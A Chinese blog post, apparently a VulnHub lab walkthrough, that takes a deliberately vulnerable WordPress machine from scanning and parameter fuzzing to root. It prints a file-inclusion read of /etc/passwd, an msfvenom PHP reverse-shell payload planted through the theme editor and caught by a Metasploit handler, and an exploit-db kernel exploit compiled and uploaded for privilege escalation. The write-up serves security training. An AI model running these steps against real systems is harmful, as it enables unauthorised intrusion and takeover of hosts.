[渗透测试实战]vulnhub靶场1 初步掌握渗透流程（详细步骤）

最新推荐文章于 2024-05-22 20:01:38 发布
最新推荐文章于 2024-05-22 20:01:38 发布
阅读量1.5k 收藏 13
点赞数 2
分类专栏： 渗透测试实践 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42933340/article/details/131492774
版权

文章目录

在这里插入图片描述

靶机地址

实验目的：掌握渗透测试基本流程和渗透工具

涉及渗透工具知识点：

  • dirb 扫描web路径

  • fuzz获取url正确参数名

  • msf漏洞检索和利用

  • WordPress上传文件漏洞，反弹

已知渗透信息：

靶机安装在vmvare虚拟机中，使用NAT模式，网段192.168.31.0/24中

image-20230701114859290

攻击主机:kali linux主机

渗透目的：

  • 进入系统，获取靶机flag

1.主机发现，确定攻击目标

nmap方式（也可用命令行）得到主机ip:192.168.31.100,真实渗透环境肯定扫描出多个主机，需要收集多种渗透信息，分别

image-20230701114717386

2.端口发现，寻找突破口

#对全端口扫描
nmap -p 1-65535 -T4 -A -v 192.168.31.100

image-20230701120554163

3.web渗透

根据扫描出的服务，从易入侵的web服务开始继续渗透

image-20230701121115354

遇到web有什么渗透思路：

  • 目录扫描
  • 请求参数fuzz
  • 尝试访问敏感文件robots.txt
  • 用户名和密码爆破
  • 看网页源码(看有没有信息可利用)

在信息安全领域中，Fuzzing（模糊测试）是一种常用的黑盒测试技术，也是信息收集的一种方法之一。Fuzzing通过向目标系统输入大量随机数据来测试系统的鲁棒性和安全性。Fuzz测试通常涉及构建一个能够生成大量随机数据的程序，然后将这些数据发送到目标系统或应用程序中，以发现潜在的漏洞或错误。

在信息收集中，Fuzzing通常用于测试网络服务或应用程序的漏洞和弱点。通过向目标服务器发送各种类型的随机数据，可以发现一些潜在的漏洞和安全问题，例如缓冲区溢出、拒绝服务攻击、SQL注入等。Fuzzing可以帮助发现那些常规的安全测试无法发现的漏洞和弱点，因为它可以测试系统的响应能力，以及处理异常数据的能力。

总之，Fuzzing是一种非常有用的信息收集技术，可以帮助安全专业人员发现潜在的安全问题和漏洞。但需要注意的是，Fuzzing可能会导致目标系统崩溃或不稳定，因此在实施Fuzzing时需要谨慎，并遵循相关的道德和法律规范。

dirb扫描web目录

└─# dirb http://192.168.31.100/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Jul  1 00:37:21 2023
URL_BASE: http://192.168.31.100/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.31.100/ ----
+ http://192.168.31.100/dev (CODE:200|SIZE:131)                                                                                                  
+ http://192.168.31.100/index.php (CODE:200|SIZE:136)                                                                                            
==> DIRECTORY: http://192.168.31.100/javascript/                                                                                                 
+ http://192.168.31.100/server-status (CODE:403|SIZE:279)                                                                                        
==> DIRECTORY: http://192.168.31.100/wordpress/                                                                                                  
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/javascript/ ----
==> DIRECTORY: http://192.168.31.100/javascript/jquery/                                                                                          
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/ ----
+ http://192.168.31.100/wordpress/index.php (CODE:301|SIZE:0)                                                                                    
==> DIRECTORY: http://192.168.31.100/wordpress/wp-admin/                                                                                         
==> DIRECTORY: http://192.168.31.100/wordpress/wp-content/                                                                                       
==> DIRECTORY: http://192.168.31.100/wordpress/wp-includes/                                                                                      
+ http://192.168.31.100/wordpress/xmlrpc.php (CODE:405|SIZE:42)                                                                                  
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/javascript/jquery/ ----
+ http://192.168.31.100/javascript/jquery/jquery (CODE:200|SIZE:284394)                                                                          
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-admin/ ----
+ http://192.168.31.100/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)                                                                           
==> DIRECTORY: http://192.168.31.100/wordpress/wp-admin/css/                                                                                     
==> DIRECTORY: http://192.168.31.100/wordpress/wp-admin/images/                                                                                  
==> DIRECTORY: http://192.168.31.100/wordpress/wp-admin/includes/                                                                                
+ http://192.168.31.100/wordpress/wp-admin/index.php (CODE:302|SIZE:0)                                                                           
==> DIRECTORY: http://192.168.31.100/wordpress/wp-admin/js/                                                                                      
==> DIRECTORY: http://192.168.31.100/wordpress/wp-admin/maint/                                                                                   
==> DIRECTORY: http://192.168.31.100/wordpress/wp-admin/network/                                                                                 
==> DIRECTORY: http://192.168.31.100/wordpress/wp-admin/user/                                                                                    
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-content/ ----
+ http://192.168.31.100/wordpress/wp-content/index.php (CODE:200|SIZE:0)                                                                         
==> DIRECTORY: http://192.168.31.100/wordpress/wp-content/plugins/                                                                               
==> DIRECTORY: http://192.168.31.100/wordpress/wp-content/themes/                                                                                
==> DIRECTORY: http://192.168.31.100/wordpress/wp-content/uploads/                                                                               
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-admin/network/ ----
+ http://192.168.31.100/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)                                                                   
+ http://192.168.31.100/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)                                                                   
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-admin/user/ ----
+ http://192.168.31.100/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)                                                                      
+ http://192.168.31.100/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)                                                                      
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-content/plugins/ ----
+ http://192.168.31.100/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)                                                                 
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-content/themes/ ----
+ http://192.168.31.100/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)                                                                  
                                                                                                                                                 
---- Entering directory: http://192.168.31.100/wordpress/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Sat Jul  1 00:38:39 2023
DOWNLOADED: 46120 - FOUND: 15

web内容扫描中得出，此靶机对外提供wordpress服务，通过访问url路径得到几个有用路径信息：

  • http://192.168.31.100/dev (CODE:200|SIZE:131)
  • ==> DIRECTORY: http://192.168.31.100/wordpress/

image-20230701124219966

image-20230701125840531

给出了提示：用fuzz工具和找出正确参数，接着传入参数值location.txt继续下一步

fuzz获取正确url参数

fuzz的用法：

  • 找到url参数
  • sql注入
  • 密码暴力破解
  • 绕过waf
#用参数字典访问网站，得到返回状态码、行数、字符数等统计信息，在统计信息中找出不同于其它的访问结果，拿到正确的参数
#第一遍访问获取请求返回统计信息
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt  http://192.168.31.100/index.php?FUZZ
#第二遍访问通过参数过滤出不同与其它哪项,参数 --hw 12 从第一次访问中等到返回字数12
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt  --hw 12 http://192.168.31.100/index.php?FUZZ

Xshell_LNKCU7Onsy

找到正确参数file，根据提示访问

image-20230701130219673

拿到正确参数，需要传入参数访问url拿到系统信息，参数file是文件的意思，第一想到的是拿到系统的账户文件/etc/passwd,继续传参数访问。

Xshell_r4kDR6uvhE

根据提示得到关键字“follow_the_ippsec”，哪这个关键字和什么有关？目前已知系统提供的服务ssh和http，web用的是WordPress cms系统，渗透系统希望获得用户和密码，访问WordPress看能不能得到账户信息

WordPress漏洞利用

获取wordpress用户名

**方式一：**经验获取用户名

WordPress搭建成功后自动发布一封有用户名的文章，因此得到wordpress登录用户名为victor

image-20230701132408120

尝试用账户和关键词密码发现可以登录：

Xshell_FTpAnU07mw

接下来就针对WordPress渗透发现侵入系统的漏洞

方式二：指纹工具获取WordPress用户

关于WordPress的指纹工具

  • wpscan

image-20230701133027026

cmseek安装：

apt-get update

apt-get install -y cmseek

wpscan枚举WordPress用户也得到用户victor

image-20230701133834449

#枚举WordPress用户完整输出

# wpscan --url http://192.168.31.100/wordpress -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://192.168.31.100/wordpress/ [192.168.31.100]
[+] Started: Sat Jul  1 01:32:10 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.31.100/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.31.100/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.31.100/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.31.100/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.2.2 identified (Insecure, released on 2019-06-18).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.31.100/wordpress/?feed=rss2, <generator>https://wordpress.org/?v=5.2.2</generator>
 |  - http://192.168.31.100/wordpress/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.2.2</generator>

[+] WordPress theme in use: twentynineteen
 | Location: http://192.168.31.100/wordpress/wp-content/themes/twentynineteen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://192.168.31.100/wordpress/wp-content/themes/twentynineteen/readme.txt
 | [!] The version is out of date, the latest version is 2.5
 | Style URL: http://192.168.31.100/wordpress/wp-content/themes/twentynineteen/style.css?ver=1.4
 | Style Name: Twenty Nineteen
 | Style URI: https://wordpress.org/themes/twentynineteen/
 | Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.31.100/wordpress/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <====================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] victor
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Jul  1 01:32:12 2023
[+] Requests Done: 69
[+] Cached Requests: 6
[+] Data Sent: 16.91 KB
[+] Data Received: 20.512 MB
[+] Memory used: 168.305 MB
[+] Elapsed time: 00:00:02

4.文件上传，反弹连接

登录进入后，如何开始WordPress渗透？

  • 文件上传漏洞

image-20230701134850255

生成反弹连接脚本：

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.101 lport=6666 -o shell.php

image-20230701140542855

在wordpress中利用主题编辑功能对当前主题编辑，找到可编辑的php文件（图中如secret.php)，然后粘贴上述生成的反弹连接php

image-20230701141016847

在kali linux 中用msfconsole命令启动监听6666的任务

image-20230701142451205

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.31.101
lhost => 192.168.31.101
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > exploit

当访问

http://192.168.31.100/wordpress/wp-content/themes/twentynineteen/secret.php (这是主题访问路径文件访问方式，记得路径就行，这是WordPress目录结构规范)

chrome_YoHLqb1ZAU

到此可以执行在目标机器上执行一部分命令，通过sysinfo命令得知系统版本时ubuntu16.04.2

image-20230701144138909

5.msf提权

接下来就是提权操作，执行更多命令

提权思路：

image-20230701142717179

如下演示通过msf操作系统漏洞数据库，漏洞利用获取权限

msfconsole 中执行：

searchsploit 16.04 Ubuntu

image-20230701144517639

根据内核版本得到可利用的漏洞，编译漏洞利用程序：

/usr/share/exploitdb/exploits/linux/local/45010.c

并上传靶机可执行路径/tmp下，执行即可提权

在kali-linux 上编译提权程序

cp /usr/share/exploitdb/exploits/linux/local/45010.c /root
cd /root
gcc 45010.c -o 45010   # 由于gcc版本问题，编译后在靶机上执行会报错，见下面解决

msconsole中执行：

  • upload上传
  • shell中执行45010提权程序

执行报错：./45010: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34’ not found (required by ./45010)

image-20230701153849477

解决gcc编译版本问题：

通过反弹shell查看靶机glibc版本：

ldd --version

image-20230701154635776

在kali-linux上

image-20230701154750357

apt-get install -y autoconf
git clone https://github.com/NixOS/patchelf.git
cd patchelf
./bootstrap.sh 
./configure
make
make check
sudo make install

PatchELF是一个简单的实用程序，用于修改现有的ELF可执行文件和库。具体而言，它可以执行以下操作：

  • 更改可执行文件的动态加载程序（“ELF 解释器”）：

    $ patchelf --set-interpreter /lib/my-ld-linux.so.2 my-program

  • 更改可执行文件和库 RPATH ：

    $ patchelf --set-rpath /opt/my-libs/lib:/other-libs my-program

  • 缩小可执行文件和库 RPATH ：

    $ patchelf --shrink-rpath my-program

通过glibc-all-in-one库下载靶机对应版本gcc编译环境：

image-20230701160121252

gcc -Wl,-rpath='/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64',-dynamic-linker='/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2' -s  45010.c -o 45010V2

image-20230701160911557

重新上传并执行

image-20230701164915441

不报gcc相关的错误了，也算解决了一个问题，又出现了程序执行权限问题，真是大肠包小肠！芭比Q！

不过使用kali linux 2021-02-08后成功提权。也验证的一个事：有时新版kali linux能用上新工具，对于旧漏洞脚本不一定兼容，准备一个低版本的kali linux也是必要。

image-20230701165133855

提权效果

image-20230701165425826

图中靶机ip变为192.168.31.102，因为dhcp重新分配了ip，不影响

靶机一般在root用户放置flag文件，用提权root账号就可以获取flag，打靶完成！！！

image-20230701165657797

不报gcc相关的错误了，也算解决了一个问题，又出现了程序执行权限问题，真是大肠包小肠！芭比Q！

不过使用kali linux 2021-02-08后成功提权。也验证的一个事：有时新版kali linux能用上新工具，对于旧漏洞脚本不一定兼容，准备一个低版本的kali linux也是必要。

image-20230701165133855

提权效果

image-20230701165425826

图中靶机ip变为192.168.31.102，因为dhcp重新分配了ip，不影响

靶机一般在root用户放置flag文件，用提权root账号就可以获取flag，打靶完成！！！

image-20230701165657797

雁过留声9527
关注
  • 2
    点赞
  • 踩
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Vulnhub靶场题解
08-24
介绍靶场的习题解答技巧，由红日团队精心编制，红日团队凭借多年经验于本文档
VulnHub渗透测试靶场- DC-8
11-21
DC-8 是另一个专门建造的易受攻击的实验室，旨在获得渗透测试领域的经验。 这个挑战有点像实际挑战和“概念验证”，即在 Linux 上安装和配置的双因素身份验证是否可以防止 Linux 服务器被利用。 此挑战的“概念...
Vulnhub-DC-1实战靶场
ierciyuan的博客
10-12 2497
本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权，并找到官方设计的5个flag。
渗透测试练习靶场汇总
最新发布
2401_84215240的博客
05-22 1278
Vulfocus 官网：在线演示：2.BUUCTF在线评测writeup文章：https://github.com/niudaii/my-vulstack-wphttps: //接下来我将给各位同学划分一张学习计划表！
【甄选靶场】Vulnhub百个项目渗透——项目一：GoldenEye（密码爆破，图片逆向分析，内核提权）
xnxqwzy的博客
07-29 3139
本文章仅用作实验学习，实验环境均为自行搭建的公开vuinhub靶场，仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录，不做任何导向。请勿在现实环境中模仿，操作。1.密码爆破(九头蛇)2.图片逆向分析(binwalk（路由逆向分析工具）exiftool（图虫）strings（识别动态库版本指令）)3.内核提权（没有gcc的环境的替代方法）
VulnHub渗透测试实战靶场笔记（持续更新）
晚风不及你
03-05 7440
Breach1.0 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战。 VM虚机配置有静态IP地址（192.168.110.140），需要将虚拟机网卡设置为host-only方式组网。非常感谢Knightmare和rastamouse进行测试和提供反馈。...
【内网渗透】vulnhub三个基础靶场wp
weixin_51614272的博客
09-15 3438
ssh、msf、webdav、linux、kali、basic_pentesting_1、Me-and-My-Girlfriend-1、narak
【Vulnhub】搭建Vulnhub靶机
zg_111的博客
03-28 9068
Vulnhub它是一个提供各种网络攻防靶场的平台，里面大部分的环境是要用VMware或者VirtualBox打开运行的。
[渗透测试靶机10] vulnhub靶场 BULLDOG_ 1
weixin_47112073的博客
11-13 247
这个靶机难度较为简单，可以简单练手
WEB安全渗透测试-pikachu&DVWA&sqli-labs&upload-labs&xss-labs靶场搭建（超详细）
m0_69583059的博客
01-23 2213
对于web安全刚入门的小伙伴来说，漏洞靶场搭建是很重要的，可以通过靶场学以致用，对所学知识点进行巩固练习。下面和我一起搭建5个比较常用的初学者入门靶场，演示搭建环境：win11系统+phpstudy。
VulnHub 渗透测试靶场 -DC-9
11-21
DC-9 是另一个专门建造的易受攻击的实验室，旨在获得渗透测试领域的经验。 这一挑战的最终目标是扎根并读取唯一的标志。 Linux 技能和熟悉 Linux 命令行是必须的，还有一些基本渗透测试工具的经验。 对于初学者来...
渗透测试，靶场，模拟搭建渗透测试真实环境，搭建靶场详细流程即相关包.zip
12-05
内容：详细的渗透测试靶场搭建包，以及详细搭建流程，提供了靶场所有环境，比如sql注入，木马，获权等模拟真实环境 适用于：需要学习渗透测试相关知识，但是没有搭建好模拟真实环境的靶场人群下载以及使用，同时针对...
vulnhub靶场实战系列-DC-3实战
05-20
vulnhub靶场实战系列-DC-3实战
vulnhub靶场实战系列-DC-2实战
05-18
vulnhub靶场实战系列-DC-2实战
带你玩转渗透测试靶场Vulnhub——hacksudo3
m0_74025111的博客
04-24 521
从目录里面发现/hidden/ 我们先去访问一下http://192.168.1.108/hidden，由此发现好像是一个解密的。我们先来访问默认的登录页面：http://192.168.1.108/login.php 竟然发现了这个网页的登录页面。继续访问下一个，http://192.168.1.108/decrypt/ 发现这个也是一个解密的网站。访问：http://192.168.1.108/bruteforce/这也是一个解密用的网站。以上的命令都可以执行的话，证明是存在命令注入漏洞的。
全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战（二）raven1
hyjcking的博客
11-22 1313
接下来使用kali的dirb爆破目录，发现了wordpress目录，说明网站使用了wordpress建站，所以我们一会可以使用wordpress的克星wpscan来扫描。扫描到两个用户名，steven和michael，接下来我们使用hydra对michael用户的ssh密码进行爆破，这里我们使用rockyou.txt字典。尝试了一下sudo提权，发现需要密码，切换目录并查看，命令：cd /var/www/html/wordpress。嘿嘿 提权成功，然后找到flag2.txt，成功拿下这台靶机。
全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战（一）Tr0ll
hyjcking的博客
11-20 2099
超级详细的步骤，希望可以为你解决这台靶机提供思路 说实话这个靶机不算难，但是却能比较好的巩固自己的基础知识，期间也遇到了自己不太懂的知识，会做和做的快是有区别的，在渗透这条路上还是任重而道远呐，继续加油
网络靶场实战-记一次大型内网渗透实践 【完结篇】
蛇矛实验室
12-13 1252
本场景基于某业务架构进行搭建，场景内包含了100余台主机以及20余子网，内置相关应用，包括Web服务、邮件服务、文件服务、OA服务等，但本场景多通过水坑攻击、钓鱼攻击、服务爆破等相关技术，其中包含了Chrome漏洞利用、Office漏洞利用等。通过本场景可以进行相关攻防技术训练。
fuzz测试文件上传靶场的黑名单
WSGWZlz的博客
11-20 245
阻止特定的文件后缀和应用程序例如 禁止php,php1,php2,php3等文件上传到服务器限制用户只能访问网络所有者定义的受信任内容例如：只允许.jpg、.png、.gif等文件格式的上传。
vulnhub靶场通关
09-09
vulnhub靶场是一个用于学习和测试网络安全技能的平台。通关vulnhub靶场需要进行一系列的渗透测试和漏洞利用操作。根据引用中提供的目录，以下是一个通关vulnhub靶场的大致步骤： 1. 环境搭建：下载靶场环境，并启动靶场环境。 2. 信息收集：通过探测靶机真实IP和开放的端口及服务进行信息收集。 3. 访问web站点：访问web站点并进行网站的扫描和漏洞探测。 4. 利用漏洞：使用Metasploit框架(MSF)进行漏洞利用。 - 使用MSF命令进行简单命令介绍和搜索Drupal 7的漏洞。 - 在MSF控制台中搜索drupal模块，并选择合适的模块进行测试。 - 设置靶机IP并运行相应的漏洞利用模块。 - 获取反弹shell或执行命令，并查找flag文件。 5. 登录站点：使用获取到的凭证登录站点并进一步探索和查找flag文件。 请注意，以上步骤仅提供了通关vulnhub靶场的大致思路，具体操作和漏洞利用可能因不同的靶场环境而有所不同。因此，确保在进行任何渗透测试操作之前，遵守法律和道德准则，并获得合法的授权。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值